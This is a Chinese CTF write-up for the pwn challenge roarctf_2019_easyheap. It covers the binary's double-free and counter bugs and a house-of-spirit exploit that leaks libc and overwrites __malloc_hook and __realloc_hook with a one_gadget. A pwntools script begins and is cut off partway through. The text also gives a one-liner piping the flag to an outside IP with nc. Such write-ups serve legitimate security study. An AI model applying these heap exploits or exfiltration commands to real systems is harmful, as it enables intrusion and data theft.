题目分析
有添加,删除,展示三个主要功能,不过添加有次数限制,同时限制了申请大小,使得我们不能申请出unsorted bin范围内的chunk
删除之后没有置空,可以多次free
show功能有条件限制,而且会把stdout关了
添加和后门的次数
后门函数可以进行calloc和free,同样没有置空,但是后门函数的次数限制逻辑有问题,即使为0还会再进行一次减,这样就不为0了,calloc大小不能控制,为0xa0,在unsorted bin范围内
漏洞利用
- 在输入名字信息时伪造一个chunk,size为0x71
- 先利用后门函数进行申请,然后又普通申请一个0x60大小,并释放后门中申请的chunk使得它进入unsorted bin,之后我们在普通申请,就会切割unsorted bin给我们,再次申请获得一个新的chunk,此时就能double free了(因为后门函数仍然指向之前的unsorted bin,但那部分此时被切割给我们了)
- 利用house of spirit申请出fake_chunk,并修改0x602090为指定值,并修改正常指针为read_got,利用show功能泄露libc
- 在关闭stdout之后,我们仍然可以和程序通信,再次故伎重演,这次利用house of spirit修改
__malloc_hook
为realloc+0x14,并把__realloc_hook
改为one_gadget即可 - 最后还有一步,我们需要把stdout重定向到stdin,不然是什么都看不到的,使用
exec 1>&0
,不过也看到反弹shell的方法(cat flag | nc 192.168.235.128 1234
),因为buu反弹shell比较麻烦,所以建议使用重定向
Exp
from pwn import *
r = remote("node3.buuoj.cn", 27712)
#r = process("./roarctf_2019_easyheap")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400A47
x/10gx 0x602088
c
''')
elf = ELF("./roarctf_2019_easyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
fake_chunk = 0x602060
read_got = elf.got['read']
menu = ">> "
def add(size, content, blind